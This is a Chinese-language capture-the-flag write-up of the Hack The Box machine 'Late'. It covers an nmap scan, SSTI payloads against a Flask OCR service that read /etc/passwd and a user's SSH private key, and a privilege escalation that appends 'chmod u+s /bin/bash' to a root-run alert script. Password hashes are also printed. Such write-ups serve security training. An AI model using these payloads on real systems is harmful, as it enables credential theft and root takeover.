基本信息

https://www.hackthebox.com/home/machines/profile/463
10.10.11.156

端口扫描

22和80:

$ nmap -sC -sV 10.10.11.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-26 13:58 CST
Nmap scan report for 10.10.11.156
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.35 seconds

80

在线图像工具：

images.late.htb

页面链接域名加hosts,是一个在线OCR：

1	10.10.11.156 images.late.htb

SSTI

因为是flask做的OCR，很容易想到SSTI，测试成功（字体坑比较大，多试几个不同的）：

后面就是通过SSTI读文件，读取用户私钥：

一个好的方法，直接修改网页上文字然后截图识别：

1
2
3

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

{{ get_flashed_messages.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read() }}

svc_acc_id_rsa

ssti成因分析

看了下代码，是直接把得到的text format到结果里然后render了：

...
pytesseract.pytesseract.tesseract_cmd = r'/usr/bin/tesseract'
scanned_text = pytesseract.image_to_string(PIL.Image.open(file_name))
results = """<p>{}</p>""".format(scanned_text)
r = render_template_string(results)
...

user flag

使用得到的私钥登录，user.txt:

提权信息

运行linpeas，pspy之类可以发现/usr/local/sbin/ssh-alert.sh文件以root权限运行，我们可以控制这个文件，这个文件是向root发送ssh登录信息，所以可以通过ssh来触发命令执行

ssh-alert.sh

#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

提权 && root flag

1	echo "chmod u+s /bin/bash" >> /usr/local/sbin/ssh-alert.sh

shadow

1
2

root:$6$a6J2kmTW$cHVk8PYFcAiRyUOA38Cs1Eatrz48yp395Cmi7Fxszl/aqQooB.6qFmhMG1LYuHJpGvvaE1cxubWIdIc1znRJi.:19089:0:99999:7:::
svc_acc:$6$/WRA.GuP$fusYGh.OucHDQzn5.9XdFMO6hcVw7ayD1B9/MVrxKFyv0PDd51.3JUA9qgQMU1Mnvlfjw9xSDb98B1xMwdtZH.:19008:0:99999:7:::

cron.sh

查看root目录下scripts中文件，可以看到定时还原和情理

#!/bin/bash

# Adding alert file
chattr -a /usr/local/sbin/ssh-alert.sh
rm /usr/local/sbin/ssh-alert.sh
cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
chmod +x /usr/local/sbin/ssh-alert.sh
chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
rm -r /home/svc_acc/app/uploads/* 2>/dev/null
rm -r /home/svc_acc/app/misc/* 2>/dev/null
chattr +a /usr/local/sbin/ssh-alert.sh

参考资料

PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md
HTB Late [Discussion] | BreachForums
https://breached.co/Thread-HTB-Late-Discussion
Hackthebox - Late 靶场实战
https://mp.weixin.qq.com/s/go5LD7bXtoTwc0QtBfb65w

Late - HackTheBox

2022-04-26